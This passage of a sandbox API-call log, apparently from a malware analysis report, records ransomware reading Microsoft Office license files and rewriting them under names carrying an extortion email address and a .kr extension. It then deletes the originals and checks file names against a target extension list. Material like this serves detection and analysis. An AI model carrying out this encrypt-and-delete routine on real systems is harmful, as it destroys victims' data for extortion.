hTemplateFile=0x0) returned 0x554 [0198.907] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0198.907] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0198.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0199.334] GetLastError () returned 0x0 [0199.334] ReadFile (in: hFile=0x554, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x5464, lpOverlapped=0x0) returned 1 [0199.337] WriteFile (in: hFile=0x564, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x5470, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x5470, lpOverlapped=0x0) returned 1 [0199.339] ReadFile (in: hFile=0x554, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0199.339] WriteFile (in: hFile=0x564, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x110, lpOverlapped=0x0) returned 1 [0199.340] SetEndOfFile (hFile=0x564) returned 1 [0199.340] CloseHandle (hObject=0x564) returned 1 [0199.340] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0199.340] SetEndOfFile (hFile=0x554) returned 1 [0199.354] CloseHandle (hObject=0x554) returned 1 [0199.355] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0199.356] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms")) returned 1 [0199.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0199.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0199.359] lstrlenW (lpString=".doc") returned 4 [0199.359] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.359] lstrlenW (lpString=".docx") returned 5 [0199.359] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.359] lstrlenW (lpString=".pdf") returned 4 [0199.359] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.359] lstrlenW (lpString=".xls") returned 4 [0199.359] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.359] lstrlenW (lpString=".xlsx") returned 5 [0199.359] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.359] lstrlenW (lpString=".ppt") returned 4 [0199.360] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0199.360] lstrlenW (lpString=".zip") returned 4 [0199.360] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.360] lstrlenW (lpString=".rar") returned 4 [0199.360] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.360] lstrlenW (lpString=".bz2") returned 4 [0199.360] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.360] lstrlenW (lpString=".7z") returned 3 [0199.360] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0199.360] lstrlenW (lpString=".dbf") returned 4 [0199.360] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0199.360] lstrlenW (lpString=".1cd") returned 4 [0199.360] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0199.360] lstrlenW (lpString=".jpg") returned 4 [0199.360] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0199.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0199.360] lstrlenW (lpString=".doc") returned 4 [0199.360] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.360] lstrlenW (lpString=".docx") returned 5 [0199.360] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.360] lstrlenW (lpString=".pdf") returned 4 [0199.360] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.360] lstrlenW (lpString=".xls") returned 4 [0199.360] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.361] lstrlenW (lpString=".xlsx") returned 5 [0199.361] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.361] lstrlenW (lpString=".ppt") returned 4 [0199.361] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0199.361] lstrlenW (lpString=".zip") returned 4 [0199.361] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.361] lstrlenW (lpString=".rar") returned 4 [0199.361] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.361] lstrlenW (lpString=".bz2") returned 4 [0199.361] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.361] lstrlenW (lpString=".7z") returned 3 [0199.361] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0199.361] lstrlenW (lpString=".dbf") returned 4 [0199.361] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0199.361] lstrlenW (lpString=".1cd") returned 4 [0199.361] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0199.361] lstrlenW (lpString=".jpg") returned 4 [0199.361] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.362] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0199.362] lstrlenW (lpString="HomeStudentR_Trial-pl.xrm-ms") returned 28 [0199.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0199.363] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11163) returned 1 [0199.363] CloseHandle (hObject=0x554) returned 1 [0199.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms")) returned 0x220 [0199.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0199.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0199.364] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0199.364] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0199.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0199.366] GetLastError () returned 0x0 [0199.366] ReadFile (in: hFile=0x554, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2b9b, lpOverlapped=0x0) returned 1 [0199.371] WriteFile (in: hFile=0x564, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0199.372] ReadFile (in: hFile=0x554, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0199.372] WriteFile (in: hFile=0x564, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x10c, lpOverlapped=0x0) returned 1 [0199.373] SetEndOfFile (hFile=0x564) returned 1 [0199.373] CloseHandle (hObject=0x564) returned 1 [0199.373] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0199.373] SetEndOfFile (hFile=0x554) returned 1 [0199.377] CloseHandle (hObject=0x554) returned 1 [0199.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0199.378] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms")) returned 1 [0199.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0199.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0199.378] lstrlenW (lpString=".doc") returned 4 [0199.379] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.379] lstrlenW (lpString=".docx") returned 5 [0199.379] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.379] lstrlenW (lpString=".pdf") returned 4 [0199.379] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.379] lstrlenW (lpString=".xls") returned 4 [0199.379] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.379] lstrlenW (lpString=".xlsx") returned 5 [0199.379] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.379] lstrlenW (lpString=".ppt") returned 4 [0199.379] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0199.379] lstrlenW (lpString=".zip") returned 4 [0199.379] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.379] lstrlenW (lpString=".rar") returned 4 [0199.379] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.379] lstrlenW (lpString=".bz2") returned 4 [0199.379] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.379] lstrlenW (lpString=".7z") returned 3 [0199.379] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0199.379] lstrlenW (lpString=".dbf") returned 4 [0199.379] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0199.379] lstrlenW (lpString=".1cd") returned 4 [0199.379] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0199.379] lstrlenW (lpString=".jpg") returned 4 [0199.379] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0199.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0199.380] lstrlenW (lpString=".doc") returned 4 [0199.380] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.380] lstrlenW (lpString=".docx") returned 5 [0199.380] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.380] lstrlenW (lpString=".pdf") returned 4 [0199.380] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.380] lstrlenW (lpString=".xls") returned 4 [0199.380] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.380] lstrlenW (lpString=".xlsx") returned 5 [0199.380] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.380] lstrlenW (lpString=".ppt") returned 4 [0199.380] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0199.380] lstrlenW (lpString=".zip") returned 4 [0199.380] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.380] lstrlenW (lpString=".rar") returned 4 [0199.380] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.380] lstrlenW (lpString=".bz2") returned 4 [0199.380] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.380] lstrlenW (lpString=".7z") returned 3 [0199.380] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0199.380] lstrlenW (lpString=".dbf") returned 4 [0199.380] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0199.380] lstrlenW (lpString=".1cd") returned 4 [0199.380] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0199.381] lstrlenW (lpString=".jpg") returned 4 [0199.381] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.381] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0199.381] lstrlenW (lpString="HomeStudentR_Trial-ppd.xrm-ms") returned 29 [0199.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0199.548] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=21727) returned 1 [0199.548] CloseHandle (hObject=0x550) returned 1 [0199.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms")) returned 0x220 [0199.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0199.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0199.795] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0199.795] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0199.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0199.796] GetLastError () returned 0x0 [0199.796] ReadFile (in: hFile=0x558, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x54df, lpOverlapped=0x0) returned 1 [0199.800] WriteFile (in: hFile=0x538, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x54e0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x54e0, lpOverlapped=0x0) returned 1 [0199.801] ReadFile (in: hFile=0x558, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0199.801] WriteFile (in: hFile=0x538, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x10e, lpOverlapped=0x0) returned 1 [0199.801] SetEndOfFile (hFile=0x538) returned 1 [0199.802] CloseHandle (hObject=0x538) returned 1 [0199.802] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0199.802] SetEndOfFile (hFile=0x558) returned 1 [0199.805] CloseHandle (hObject=0x558) returned 1 [0199.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0199.806] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms")) returned 1 [0199.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0199.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0199.807] lstrlenW (lpString=".doc") returned 4 [0199.807] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.807] lstrlenW (lpString=".docx") returned 5 [0199.807] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.807] lstrlenW (lpString=".pdf") returned 4 [0199.807] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.807] lstrlenW (lpString=".xls") returned 4 [0199.807] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.807] lstrlenW (lpString=".xlsx") returned 5 [0199.807] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.807] lstrlenW (lpString=".ppt") returned 4 [0199.807] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0199.807] lstrlenW (lpString=".zip") returned 4 [0199.807] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.807] lstrlenW (lpString=".rar") returned 4 [0199.807] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.807] lstrlenW (lpString=".bz2") returned 4 [0199.807] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.807] lstrlenW (lpString=".7z") returned 3 [0199.807] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0199.808] lstrlenW (lpString=".dbf") returned 4 [0199.808] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0199.808] lstrlenW (lpString=".1cd") returned 4 [0199.808] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0199.808] lstrlenW (lpString=".jpg") returned 4 [0199.808] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0199.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0199.808] lstrlenW (lpString=".doc") returned 4 [0199.808] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.808] lstrlenW (lpString=".docx") returned 5 [0199.808] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.808] lstrlenW (lpString=".pdf") returned 4 [0199.808] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.808] lstrlenW (lpString=".xls") returned 4 [0199.808] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.809] lstrlenW (lpString=".xlsx") returned 5 [0199.809] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.809] lstrlenW (lpString=".ppt") returned 4 [0199.809] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0199.809] lstrlenW (lpString=".zip") returned 4 [0199.809] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.809] lstrlenW (lpString=".rar") returned 4 [0199.809] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.809] lstrlenW (lpString=".bz2") returned 4 [0199.809] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.809] lstrlenW (lpString=".7z") returned 3 [0199.809] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0199.809] lstrlenW (lpString=".dbf") returned 4 [0199.809] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0199.809] lstrlenW (lpString=".1cd") returned 4 [0199.809] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0199.809] lstrlenW (lpString=".jpg") returned 4 [0199.809] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.809] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0199.809] lstrlenW (lpString="MondoR_OEM_Perp-pl.xrm-ms") returned 25 [0199.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0199.810] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=10635) returned 1 [0199.810] CloseHandle (hObject=0x558) returned 1 [0199.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms")) returned 0x220 [0199.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0199.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: 